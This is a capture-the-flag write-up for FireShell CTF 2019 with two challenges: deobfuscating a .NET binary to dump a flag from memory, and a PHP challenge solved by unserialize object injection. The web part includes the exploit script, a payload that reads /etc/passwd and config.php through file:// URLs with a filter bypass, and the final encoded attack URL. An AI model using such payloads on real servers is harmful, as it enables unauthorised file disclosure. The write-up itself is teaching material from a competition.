CTF
Search…
FireShell CTF 2019

RE - BlackBox Cypher

Task :
It's .Net file so we put it in dnspy
Oops...obfuscated, try to clean it with de4dot
Better, but still fucking so heavy. It's quite easy to know that the file work/obfuscated like this :
It created 100+ junk class, each have few function (2-6 func) and call to each other
Sounds pain in the ass, right?
Also, the challenge name is "Blackbox Cipher", so i assume that i dont even need to understand the algorithm behind it.
So i trying to run the binary, dump it and search for string in memory.
But where to stop to dump? Well, there is no other way around, you must debug the application to see where it generate the crypted flag.
As you can see, after navigate through the code for a while, i realize the result is my encoded flag, where it's only assigned at
1
result = Class9.smethod_1(null, type).vmethod_3(this.method_149()).vmethod_0();
Copied!
Now i know that somehow it calculate encoded flag in those method, which mean it init flag somewhere in that too.
So there is 2 ways to solve this problem at this moment :
  1. 1.
    You keep debugging through these code and search through memory too.
  2. 2.
    You just now dump the memory, base64("F#{") and search in memory
Both work well, i checked after ctf end, but when the ctf is running, i choose first one, because :
  1. 1.
    I dont know flag format since i havent read rules page...oops!
  2. 2.
    I am afraid that it will some where delete the flag out of memory before it return the encoded flag or maybe it can split flag into many method, and receive few bytes from each, null it after used immediately
After 15 minutes of pressing F11, i finally got
Base64 decode it, we got flag
1
F#{It's_all_about_memory_forensics}
Copied!

Web - Vice

Task :
1
<?php
2
//require_once 'config.php';
3
4
class SHITS{
5
private $url;
6
private $method;
7
private $addr;
8
private $host;
9
private $name;
10
11
function __construct($method,$url){
12
$this->method = $method;
13
$this->url = $url;
14
}
15
16
function doit(){
17
18
$this->host = @parse_url($this->url)['host'];
19
$this->addr = @gethostbyname($this->host);
20
$this->name = @gethostbyaddr($this->host);
21
if($this->addr !== "127.0.0.1" || $this->name === false){
22
$not = ['.txt','.php','.xml','.html','.','[',']'];
23
foreach($not as $ext){
24
$p = strpos($this->url,$ext);
25
if($p){
26
die(":)");
27
}
28
}
29
$ch = curl_init();
30
curl_setopt($ch,CURLOPT_URL,$this->url);
31
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
32
33
$result = curl_exec($ch);
34
echo $result;
35
}else{
36
die(":)");
37
}
38
}
39
function __destruct(){
40
if(in_array($this->method,array("doit"))){
41
42
call_user_func_array(array($this,$this->method),array());
43
}else{
44
die(":)");
45
}
46
}
47
}
48
if(isset($_GET["gg"])) {
49
@unserialize($_GET["gg"]);
50
} else {
51
highlight_file(__FILE__);
52
}
Copied!
I was trying to solve Boring Check, but then our team rank is down quickly to 3rd, and we must solve one more chall to keep our rank, compete with @bi0s for 3rd place. Time to call help from home.
From @Thach works, we finally can craft the payload and read file base on php unserialize bug
1
//Credit : Thach Nguyen Hoang
2
<?php
3
//require_once 'config.php';
4
5
class SHITS{
6
private $url;
7
private $method;
8
private $addr;
9
private $host;
10
private $name;
11
12
function __construct($method,$url){
13
$this->method = $method;
14
$this->url = $url;
15
}
16
17
function doit(){
18
19
$this->host = @parse_url($this->url)['host'];
20
echo $this->host;
21
$this->addr = @gethostbyname($this->host);
22
$this->name = @gethostbyaddr($this->host);
23
if($this->addr !== "127.0.0.1" || $this->name === false){
24
$not = ['.txt','.php','.xml','.html','.','[',']'];
25
foreach($not as $ext){
26
$p = strpos($this->url,$ext);
27
if($p){
28
echo $ext;
29
die(":)");
30
}
31
}
32
$ch = curl_init();
33
curl_setopt($ch,CURLOPT_URL,$this->url);
34
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
35
36
$result = curl_exec($ch);
37
/* echo $result; */
38
}else{
39
die(":)");
40
}
41
}
42
43
function __destruct(){
44
if(in_array($this->method,array("doit"))){
45
46
call_user_func_array(array($this,$this->method),array());
47
}else{
48
die(":)");
49
}
50
}
51
}
52
53
54
$o = new SHITS('doit', 'file:///etc/passwd');
55
echo urlencode(serialize($o));
Copied!
What next? Where is flag?
1
//require_once 'config.php';
Copied!
There is commented line on challenge source. But it have '.' inside file name, which is filtered. So to bypass strpos(), we use urlencode, and guess the path to config.php, which is :
1
/var/www/html/config%2ephp
Copied!
Final payload
1
view-source:http://68.183.31.62:991/?gg=O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A33%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
Copied!
Flag
1
F#{wtf_5trp0s_}
Copied!

Last words

We end up at 3rd place. Time to practice more...
Last modified 2yr ago